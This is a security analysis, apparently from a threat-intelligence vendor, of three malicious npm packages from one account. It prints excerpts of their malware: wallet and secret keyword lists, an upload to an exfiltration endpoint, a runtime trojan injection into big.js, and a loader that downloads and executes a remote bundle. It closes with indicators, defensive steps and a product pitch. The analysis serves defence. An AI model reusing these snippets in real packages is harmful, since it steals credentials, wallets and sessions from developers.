Three packages published by a single npm account each use a different technique to deliver malware. data-parser-utils (v3.0.2, 139 weekly downloads) is a direct infostealer: its postinstall scans for cryptocurrency wallet files, shell history, and Telegram Desktop session data, then uploads to a Vercel endpoint. ts-precision (v3.7.2, 134 weekly downloads) ships a trojanized copy of the legitimate big.js v7.0.1 library. It declares data-parser-utils as a dependency and injects code into the library source that loads the infostealer at runtime, bypassing install-time defenses. stake-math (v3.5.3, 5 versions, 0 downloads) is a remote payload loader that downloads and executes a bundle from log-prettier[.]store while exporting a working Kelly criterion library.
All three trace to one adversary with high confidence and supporting evidence.
The artifacts
data-parser-utils ships four files: package.json (554 B), test.js (509 B, the postinstall entry point), index.js (16.5 kB, the payload), and .npmrc.bak (73 B, likely an accidentally included npm token backup). Its description is copied from a legitimate decimal arithmetic library (“A small, fast, easy-to-use library for arbitrary-precision decimal arithmetic”). The dependency list includes npm shim packages for Node built-ins alongside axios and form-data for HTTP uploads:
{
"scripts": {
"postinstall": "node test.js"
},
"dependencies": {
"axios": "^1.7.0",
"child_process": "^1.0.2",
"form-data": "^4.0.0",
"os": "^0.1.2"
}
}
No legitimate decimal arithmetic library needs an HTTP client or child process access.
ts-precision impersonates big.js, MikeMcl’s popular arbitrary-precision decimal library. Its package.json copies the real author name, repository URL, and homepage from the genuine big.js project. It has no postinstall hook. Its sole runtime dependency is data-parser-utils. The package ships big.js (26.3 kB) and big.mjs (26.2 kB), both containing the full legitimate library with injected payload code:
{
"dependencies": {
"data-parser-utils": "^3.0.2"
},
"repository": {
"type": "git",
"url": "https://github.com/MikeMcl/big.js.git"
},
"author": {
"name": "Michael Mclaughlin",
"email": "M8ch88l[@]gmail[.]com"
}
}
stake-math describes itself as “Kelly stake sizing and decimal-safe rounding for Polymarket binary markets,” targeting Polymarket developers. It has 5 published versions, 0 npm dependencies (only Node built-ins), and 0 weekly downloads. Its index.js cleanly exports kelly.js, a working 1.17 kB Kelly criterion implementation. The malware is entirely in the postinstall script. The homepage field points to a config URL on a separate domain:
{
"scripts": {
"postinstall": "node scripts/install-check.cjs"
},
"homepage": "hxxps://www[.]log-prettier[.]store/config/stake-math-sync.json"
}
What it does
The infostealer payload: data-parser-utils
The postinstall runs test.js, which executes index.js. The payload runs four collection stages, then uploads everything to a Vercel endpoint.
The payload scans home directories on Linux (/home/*), user profiles on macOS (/Users/*), and drives C through J on Windows. It collects .env files, id.json, config.toml, and any document (.doc, .docx, .xls, .xlsx, .txt) whose filename contains a cryptocurrency keyword:
const WALLET_KEYWORDS = [
"key", "wallet", "password", "credential", "credentials",
"sol", "eth", "tron", "bitcoin", "btc", "pol", "xrp",
"metamask", "phantom", "keystore", "privatekey", "private_key",
"secret", "mnemonic", "phrase", "backup", "seed",
"trezor", "ledger", "electrum", "exodus", "trustwallet",
"token", "address", "recovery",
];
The keyword list covers Solana, Ethereum, Tron, Bitcoin, XRP, and Polygon alongside hardware wallets (Trezor, Ledger), software wallets (MetaMask, Phantom, Electrum, Exodus, Trust Wallet), and generic recovery terms. The id.json target is notable: Solana CLI stores the default keypair at ~/.config/solana/id.json. The scan recurses up to 10 levels, skips development directories (node_modules, .git, build, dist), and follows no symlinks.
The payload also reads shell history files from disk: .bash_history, .zsh_history, Fish history, and PowerShell’s PSReadLine log. On Windows and macOS, the payload locates the Telegram Desktop tdata directory. If it exists and is under 500 MB, the payload packs its contents into a gzip archive and uploads it. The tdata directory contains session keys that allow an attacker to clone the victim’s Telegram session without triggering a new login or two-factor prompt.
All collected data is uploaded via multipart form POST:
const API_BASE = (process.env.BACKUP_API_URL
|| "hxxps://vercel-backend-green-five[.]vercel[.]app")
.replace(/\/$/, "");
const UPLOAD_URL = `${API_BASE}/api/v1`;
Files are batched into 4 MB chunks. The endpoint URL is overridable through BACKUP_API_URL, allowing the adversary to redirect exfiltration. All constants use a “BACKUP_” prefix, naming the malware as if it were a legitimate backup utility.
The trojanized library: ts-precision
ts-precision delivers the same infostealer through a different trigger. Instead of a postinstall hook, the attack is embedded in the library code. Both big.js and big.mjs contain an injection placed after the P.minus method definition, inside the library’s self-executing function:
try {
const doc = require("data-parser-utils");
doc.from_str().then(e => { }).catch(e => { })
} catch (error) {
}
When any code imports or requires ts-precision, the IIFE executes and the injected lines run immediately. data-parser-utils is already installed on disk because ts-precision declares it as an npm dependency. The try-catch silently swallows any errors, so the library functions normally regardless of whether the infostealer executes. The big.mjs variant calls doc.from_str() without promise handling.
This trigger survives --ignore-scripts. Setting ignore-scripts blocks the data-parser-utils postinstall at install time, but the runtime require in ts-precision’s library code still loads and executes the payload when the module is imported in application code. The adversary gets two independent shots at execution: once at install (via data-parser-utils postinstall) and once at runtime (via the trojanized library).
The remote loader: stake-math
stake-math’s postinstall runs install-check.cjs. It does not steal files directly. It is a two-stage payload loader that resolves a remote config, downloads a payload bundle, and executes it.
Stage one resolves the payload URL through a chain of indirection. The script reads the package homepage or an environment variable override, fetches a JSON config, and extracts the bundle URL:
async function resolvePeerBundleUrl() {
if (process.env.PSM_PEER_URL) {
return process.env.PSM_PEER_URL.trim();
}
const configUrl =
process.env.PSM_SYNC_CONFIG ||
process.env.KELLY_PEER_CONFIG ||
readPackageJson().homepage;
if (!configUrl || !String(configUrl).trim()) {
throw new Error('peer sync config not configured');
}
const url = String(configUrl).trim();
if (/\.json(\?|$)/i.test(url)) {
const raw = await fetchText(url);
const cfg = JSON.parse(raw);
const bundle = cfg.peerBundle || cfg.bundle || cfg.bundleUrl || cfg.url;
if (!bundle) throw new Error('peer sync config missing bundle field');
return String(bundle).trim();
}
if (/\.tgz(\?|$)/i.test(url)) {
return url;
}
throw new Error('peer sync config URL not recognized');
}
The homepage URL (www[.]log-prettier[.]store/config/stake-math-sync.json) returns JSON that contains the real payload URL. Three environment variables can override the config source, giving the adversary flexibility to redirect the payload without touching the npm package.
Stage two downloads a .tgz archive, extracts it to a .peer directory inside the package, runs npm install in the extracted contents, then requires peer-math.js and calls syncSession():
function extractPeerBundle(tgzPath) {
fs.rmSync(peerDir, { recursive: true, force: true });
fs.mkdirSync(peerDir, { recursive: true });
execSync(`tar -xzf "${tgzPath}" -C "${peerDir}" --strip-components=1`, {
stdio: 'inherit', shell: true,
});
execSync('npm install --omit=dev --no-audit --no-fund --loglevel=error', {
cwd: peerDir, stdio: 'inherit', shell: true,
});
}
async function runPeerSync() {
if (process.env.PSM_INSTALL_FAST == null) {
process.env.PSM_INSTALL_FAST = '1';
}
const peerModule = path.join(peerDir, 'peer-math.js');
if (!fs.existsSync(peerModule)) {
throw new Error('peer bundle incomplete');
}
const { syncSession } = require(peerModule);
await syncSession();
}
The actual payload is never shipped in the npm package. It is hosted on infrastructure the adversary controls and can be updated without republishing to npm. If the config URL goes down, the postinstall exits silently and the package installs normally with a working Kelly criterion library. The downloaded bundle in .peer/ is the only artifact left on disk.
The campaign
The three packages were published from one npm account. Each uses a different delivery mechanism: a direct postinstall infostealer, a trojanized dependency chain with a runtime trigger, and a remote config-driven payload loader. data-parser-utils and ts-precision share the same Vercel C2 endpoint. stake-math uses separate infrastructure on log-prettier[.]store. Despite the different techniques, the publishing account and timeline connect these artifacts to one adversary with high confidence and supporting evidence.
The .npmrc.bak file shipped inside data-parser-utils (73 bytes, consistent with a registry auth token) may be an operational artifact: an accidentally included npm credential backup.
Why the operation matters here
Removing data-parser-utils from npm stops one package. Blocking the Vercel endpoint misses stake-math, which runs on separate infrastructure. Blocking log-prettier[.]store misses the other two. Setting --ignore-scripts blocks the data-parser-utils and stake-math postinstall hooks but does not prevent ts-precision from loading the infostealer at runtime. No single defensive action covers all three delivery mechanisms.
Attribution connects all three packages to the next one from this adversary before the first install.
What a defender can do
Install npm packages with —ignore-scripts or set ignore-scripts=true in .npmrc. This blocks the data-parser-utils and stake-math postinstall hooks but does not block the ts-precision runtime trigger. For ts-precision, the only defense is not having the package installed. Audit dependency trees for packages that declare unexpected transitive dependencies, especially when the declared dependency has no functional relationship to the parent package.
If data-parser-utils or ts-precision was installed, rotate any credentials stored in .env files, Solana keypairs (id.json), and wallet keystores on the affected machine. Revoke active Telegram sessions from a trusted device. If stake-math was installed, inspect the .peer directory inside the package for the downloaded payload.
Indicators of compromise
| Type | Indicator | Context |
|---|---|---|
| npm package | data-parser-utils@3.0.2 | Direct infostealer |
| npm package | ts-precision@3.7.2 | Trojanized big.js v7.0.1 |
| npm package | stake-math@3.5.3 | Remote payload loader |
| Domain | vercel-backend-green-five[.]vercel[.]app | Exfiltration C2 |
| URL | hxxps://vercel-backend-green-five[.]vercel[.]app/api/v1 | Exfiltration endpoint |
| Domain | log-prettier[.]store | Payload config host |
| URL | hxxps://www[.]log-prettier[.]store/config/stake-math-sync.json | Payload config URL |
| File artifact | .npmrc.bak (73 B, in data-parser-utils) | Possible adversary credential backup |
Where Aephix fits
Aephix exists to close that gap. Aephix is threat intelligence for the AI agent supply chain, not a patch or a sandbox. Before you install a package or connect to a server, Aephix Vantage gives you a free, cross-ecosystem view of what is already known to be malicious, so a component with a hostile history is something you recognize before you connect. When you are looking at a malicious package, model, skill, MCP server, extension, or container, Aephix Sleuth links it to the wider operation behind it, with a confidence level and supporting evidence, so you can act against the whole operation rather than the single artifact.
The adversary who published these three packages can publish a fourth under a name that fits a different niche. Attribution connects them all.